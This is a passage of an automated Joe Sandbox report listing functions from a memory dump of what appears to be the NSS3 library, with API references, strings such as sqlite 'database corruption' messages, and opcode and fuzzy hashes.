Part of subcall function 6C518680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C5186C8
Part of subcall function 6C518680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C5186E2
Part of subcall function 6C518680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C5186EC
Part of subcall function 6C518680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C518700

PR_NewMonitor.NSS3(?,6C55AA9B,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C55687D

Part of subcall function 6C4B1770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C4B18DE
Part of subcall function 6C4B1770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C4B18F1

PR_NewMonitor.NSS3(?,6C55AA9B,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C55688C

Part of subcall function 6C4B1770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C4B18FC
Part of subcall function 6C4B1770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C4B198A

PR_NewLock.NSS3 ref: 6C5568A5

Part of subcall function 6C5898D0: calloc.MOZGLUE(00000001,00000084,6C4B0936,00000001,?,6C4B102C), ref: 6C5898E5

PR_NewLock.NSS3 ref: 6C5568B4

Part of subcall function 6C5898D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C589946
Part of subcall function 6C5898D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4416B7,00000000), ref: 6C58994E
Part of subcall function 6C5898D0: free.MOZGLUE(00000000), ref: 6C58995E

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: f72a8b8435db9b3988c795c5055e41dbdba88c7553449a9f5c75aeaf9a5dac62
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: BA01CDB0A05F5796F751AB754C207E776E55F41288F90043F8469DAB40EF71E418CBA1

Function 6C52B920 Relevance: 9.0, APIs: 6, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000000C,00000000,FFFFFFFF,?,6C52AD91), ref: 6C52B927

Part of subcall function 6C520D30: calloc.MOZGLUE ref: 6C520D50
Part of subcall function 6C520D30: TlsGetValue.KERNEL32 ref: 6C520D6D

PORT_ZAlloc_Util.NSS3(00000010), ref: 6C52B93B
PK11_GenerateRandom.NSS3(00000000,00000010), ref: 6C52B950

Part of subcall function 6C513F50: TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C4FE80C,00000000,00000000,?,?,?,?,6C508C5B,-00000001), ref: 6C513FA1
Part of subcall function 6C513F50: EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C4FE80C,00000000,00000000,?,?,?,?,6C508C5B,-00000001), ref: 6C513FBA
Part of subcall function 6C513F50: PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C4FE80C,00000000,00000000,?,?,?,?,6C508C5B,-00000001), ref: 6C513FFE
Part of subcall function 6C513F50: PR_SetError.NSS3 ref: 6C51401A

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C52B961
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C52B96F
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C52B97A

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ErrorUtil$Alloc_Value$CriticalEnterGenerateItem_K11_RandomSectionUnlockZfreecalloc
String ID:
API String ID: 3619055319-0
Opcode ID: f23b25f3f6ad3dee2c2ec0fc4be21a59d8eea69007335c1270049e45527e21e3
Instruction ID: 5ee47f56df77504f607acea05f546b5ae24f864c42f4cd1c078a363d2298d6b7
Opcode Fuzzy Hash: f23b25f3f6ad3dee2c2ec0fc4be21a59d8eea69007335c1270049e45527e21e3
Instruction Fuzzy Hash: 82F0E9B2E81351A2FB2022A92C11F8625C84BD1B5DF140535E94EA6FC1F64DB91951B2

Function 6C4AAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C4AAFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6C4AAF5C
misuse, xrefs: 6C4AAFCE
%s at line %d of [%.10s], xrefs: 6C4AAFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C4AAFC4

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 94c3add44e6836e22af4fa3f041483a0f8bf3cfbfa6e8af6230b802fd592e69b
Instruction ID: 2606b971722db249a8599e48c5cdda5fe626e6937e7fc6464e5f434be6794107
Opcode Fuzzy Hash: 94c3add44e6836e22af4fa3f041483a0f8bf3cfbfa6e8af6230b802fd592e69b
Instruction Fuzzy Hash: BD91E271A052158FDB08CF99C850FAAB7F1BF59315F1985A8E864AB795C334AC02CFA0

Function 6C50FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C50FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C50FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C50FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C50FDDE

Part of subcall function 6C518800: TlsGetValue.KERNEL32(?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518821
Part of subcall function 6C518800: TlsGetValue.KERNEL32(?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C51883D
Part of subcall function 6C518800: EnterCriticalSection.KERNEL32(?,?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518856
Part of subcall function 6C518800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C518887
Part of subcall function 6C518800: PR_Unlock.NSS3(?,?,?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518899

Strings

pkcs11:, xrefs: 6C50FC4F

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: bc7942743d10c967426398f90dada26f2dbdd1179787904b09e7c357fcc0a376
Instruction ID: f4486e9d2a07426f81933dfe94e287f72d440121799447ea5dd833f21c7d923a
Opcode Fuzzy Hash: bc7942743d10c967426398f90dada26f2dbdd1179787904b09e7c357fcc0a376
Instruction Fuzzy Hash: 3451D4B2B08111EBEB108F65DC85B9A3375BF81358F150625DD05EBF51EB30E905CB9A

Function 6C451970 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 116COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?,00000000,?,6C4660B3), ref: 6C45199F
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,6C4660B3), ref: 6C451AC9

Strings

database corruption, xrefs: 6C451ABD
%s at line %d of [%.10s], xrefs: 6C451AC2
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C451AB3

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 3107271255-598938438
Opcode ID: 3126f76b6b1e8b822584337aa9307ab0ec3d4267cdab1e196efcb7e011a4e911
Instruction ID: 6eaaa9aecd262e5c63c1d45e2767ce006f660f19d209d37aed295e924629f0f2
Opcode Fuzzy Hash: 3126f76b6b1e8b822584337aa9307ab0ec3d4267cdab1e196efcb7e011a4e911
Instruction Fuzzy Hash: 2A41C0756087818FC321CF29C491A97FBF1BF95308F648AADC4994BB42D372E546CB91

Function 6C44B8B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 107COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010B2E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C57A4E2), ref: 6C44B948
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010B19,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?), ref: 6C44B9BE

Strings

database corruption, xrefs: 6C44B93C, 6C44B9B2
%s at line %d of [%.10s], xrefs: 6C44B941, 6C44B9B7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C44B932, 6C44B9A8

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 1e7b73b57d130d7bbc4f47334faaa727261cd4f45822c1dbae696afb369e0940
Instruction ID: 1a842074abbe3910587ad0208750d3fdf17e454c3bdaddc4f7af20fdcca1e03c
Opcode Fuzzy Hash: 1e7b73b57d130d7bbc4f47334faaa727261cd4f45822c1dbae696afb369e0940
Instruction Fuzzy Hash: 7741E2316056049FE704DF29C890EAA7BB1EF45309F2584A8E9599F752D731DC42CB90

Function 6C4D49C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 6C4D4860: SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D4894

PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C4D6361,?,?,?), ref: 6C4D4A8F
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C4D6361,?,?,?), ref: 6C4D4AD0

Strings

acMl, xrefs: 6C4D4AB4
^jMl, xrefs: 6C4D49C5
acMl, xrefs: 6C4D49FB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Error$DecodeItem_QuickUtil
String ID: ^jMl$acMl$acMl
API String ID: 1982233058-138203950
Opcode ID: c3637e57ad1c837c9464c2a63a0b05cd9d079362901e90a97c3bcaadcb3970b2
Instruction ID: 50d5622fcc66373bd7ff517e3b3d035f8cc21f6b903233f6e059d515056b7ba7
Opcode Fuzzy Hash: c3637e57ad1c837c9464c2a63a0b05cd9d079362901e90a97c3bcaadcb3970b2
Instruction Fuzzy Hash: 3131EA30A0410687EB10EB88DCB0F6E7265D782359F625A7ADD19BBFC1C734BC45879A

Function 6C44BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C44BE02

Part of subcall function 6C579C40: memcmp.VCRUNTIME140(?,00000000,6C44C52B), ref: 6C579D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C44BE9F

Strings

database corruption, xrefs: 6C44BE93
%s at line %d of [%.10s], xrefs: 6C44BE98
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C44BE89

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 79ca030ea47864ee2c27a61c19f2ce02b29a79f3577f1462e20049988c51e6bf
Instruction ID: 906f6a40b47ae9799f4ff72fe7026ca713a420bf7ff7536f0129cda4862f72c0
Opcode Fuzzy Hash: 79ca030ea47864ee2c27a61c19f2ce02b29a79f3577f1462e20049988c51e6bf
Instruction Fuzzy Hash: 0731F031A44A558BE704CF69C894EAFBBB2EF81315B39C554EA981BB41D371EC06C7D0

Function 6C536DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C536E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C536E57

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C536E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C536EAA

Strings

n]l, xrefs: 6C536DF9

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: n]l
API String ID: 3163584228-3929973346
Opcode ID: 24bb4e06f0a84d8cbf41cd657eacc93448c3cde4a3803178d32e042aabac099a
Instruction ID: c08e161446ff5b70af4c6edcd9fa9eb80dfbb4b344ef8339f2111a5594255fe6
Opcode Fuzzy Hash: 24bb4e06f0a84d8cbf41cd657eacc93448c3cde4a3803178d32e042aabac099a
Instruction Fuzzy Hash: FD319A32610622EEDB145E34CC14397B7A4BB0131AF201A3CD89ED6A80FF30A85CDB91

Function 6C56A8F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C552AE9,00000000,0000065C), ref: 6C56A91D

Part of subcall function 6C50ADC0: TlsGetValue.KERNEL32(?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE10
Part of subcall function 6C50ADC0: EnterCriticalSection.KERNEL32(?,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE24
Part of subcall function 6C50ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C4ED079,00000000,00000001), ref: 6C50AE5A
Part of subcall function 6C50ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE6F
Part of subcall function 6C50ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AE7F
Part of subcall function 6C50ADC0: TlsGetValue.KERNEL32(?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AEB1
Part of subcall function 6C50ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C4ECDBB,?,6C4ED079,00000000,00000001), ref: 6C50AEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C552AE9,00000000,0000065C), ref: 6C56A934
SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000000,?,?,6C552AE9,00000000,0000065C), ref: 6C56A949
free.MOZGLUE(?,00000000,0000065C), ref: 6C56A952

Strings

*Ul, xrefs: 6C56A8F6

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: *Ul
API String ID: 1595327144-2639087138
Opcode ID: 03069033b6fb48e6b7f02c544920e9a8a02887f9a76cf640f631850b19c61c8d
Instruction ID: 49c4c55b4b2c94d22de7d4f872954558e4b621b0df92625c536796509c9b4cd8
Opcode Fuzzy Hash: 03069033b6fb48e6b7f02c544920e9a8a02887f9a76cf640f631850b19c61c8d
Instruction Fuzzy Hash: 1D311EB5601211DFE704CF25D980E62B7E8FF48354F2581A9E80A8BB56E731ED15CBA1

Function 6C4C1EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C4C4C64,?,-00000004), ref: 6C4C1EE2

Part of subcall function 6C521820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C4C1D97,?,?), ref: 6C521836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C4C4C64,?,-00000004), ref: 6C4C1F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C4C4C64,?,-00000004), ref: 6C4C1F37
DER_DecodeTimeChoice_Util.NSS3(?,dLLl,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4C4C64,?,-00000004), ref: 6C4C1F53

Strings

dLLl, xrefs: 6C4C1F2B, 6C4C1F51

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLLl
API String ID: 3216063065-4098418326
Opcode ID: c3fad6ea22b9fb4d696ea4f04d6638925d9a90a0c97c4501f3925155a3bc5c89
Instruction ID: 662b85b54d8f20c4ebb58f81c7cd9c7432036c112733cad59c0f25963abeda76
Opcode Fuzzy Hash: c3fad6ea22b9fb4d696ea4f04d6638925d9a90a0c97c4501f3925155a3bc5c89
Instruction Fuzzy Hash: E6216275604356AFC700DE2ADD40E9BB7E9EB85699F000929E844C3B50F731E959CBD3

Function 6C59A800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6C467915,?,?), ref: 6C59A86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C467915,?,?), ref: 6C59A8A6

Strings

database corruption, xrefs: 6C59A89B
%s at line %d of [%.10s], xrefs: 6C59A8A0
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C59A891

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 116eafb2901de3124f4da79d5864a258d040015f665d4eefbd6ae66b5d8e7d7c
Instruction ID: e6bc2702b2593ccccae1de36060b7863245ef67fc5e32cf1889a042b1537d44f
Opcode Fuzzy Hash: 116eafb2901de3124f4da79d5864a258d040015f665d4eefbd6ae66b5d8e7d7c
